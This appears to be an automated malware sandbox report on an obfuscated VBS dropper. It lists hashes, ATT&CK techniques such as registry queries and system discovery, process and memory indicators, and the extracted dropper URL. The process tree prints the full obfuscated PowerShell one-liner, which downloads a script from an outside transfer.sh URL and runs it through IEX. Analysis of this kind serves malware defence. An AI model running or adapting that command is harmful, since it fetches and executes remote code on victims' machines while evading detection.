9d8af568b0657ff10c735bce816033ce6f844aed1879f94ab6e1fee8a8da3677

Analysis

max time kernel
91s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
04/02/2024, 04:57

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General

Target

8e44eb8b76e7cfe54abc30226f76b61f.vbs
Size

950B
MD5

8e44eb8b76e7cfe54abc30226f76b61f
SHA1

84bb3650430163978ef1918ba6edaee9a7705389
SHA256

9d8af568b0657ff10c735bce816033ce6f844aed1879f94ab6e1fee8a8da3677
SHA512

22bef15c37064a79bcaaca8648b7b52c221fb25b51473a52bf2ec5804c7f2927733183a9e676572b749bef073c733b47cbc08a1c23e462da879b671923c5bc0c

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://transfer.sh/1kqpOIu/bypass.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1228	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1228	powershell.exe
1228	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1228	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 968 wrote to memory of 1228	968	WScript.exe	85
PID 968 wrote to memory of 1228	968	WScript.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8e44eb8b76e7cfe54abc30226f76b61f.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'https://transfer.sh/1kqpOIu/bypass.txt';$EDRFGHNJMKDEFGHJ = 'nE----------------EbC++++++++++++++++T'.Replace('----------------','t.W').Replace('++++++++++++++++','lIEN');$SXDCFVGBHNJXDCFVGBHJK = 'DO*************aDST<<<<<<<<<>>>>>>>>>>>G'.Replace('*************','WnLo').Replace('<<<<<<<<<>>>>>>>>>>>','rIn');$SWXDECRFGYHUJISDFVGHJ ='I`EX(n`-------------`c`T $EDRFGHNJMKD<<<<<<<<<<<<<<>>>>>>>>>>>>>>GBHNJSDFGH)'.Replace('-------------','e`W`-Obj`E').Replace('<<<<<<<<<<<<<<>>>>>>>>>>>>>>','EFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCFV');&('I'+'EX')($SWXDECRFGYHUJISDFVGHJ -Join '')|&('I'+'EX');
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0eelb5wc.4ec.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1228-0-0x000002B1F7A50000-0x000002B1F7A72000-memory.dmp

Filesize
136KB

Download
memory/1228-10-0x00007FFCA0B50000-0x00007FFCA1611000-memory.dmp

Filesize
10.8MB

Download
memory/1228-11-0x000002B1F7930000-0x000002B1F7940000-memory.dmp

Filesize
64KB

Download
memory/1228-12-0x000002B1F7930000-0x000002B1F7940000-memory.dmp

Filesize
64KB

Download
memory/1228-13-0x000002B1F7930000-0x000002B1F7940000-memory.dmp

Filesize
64KB

Download
memory/1228-16-0x00007FFCA0B50000-0x00007FFCA1611000-memory.dmp

Filesize
10.8MB

Download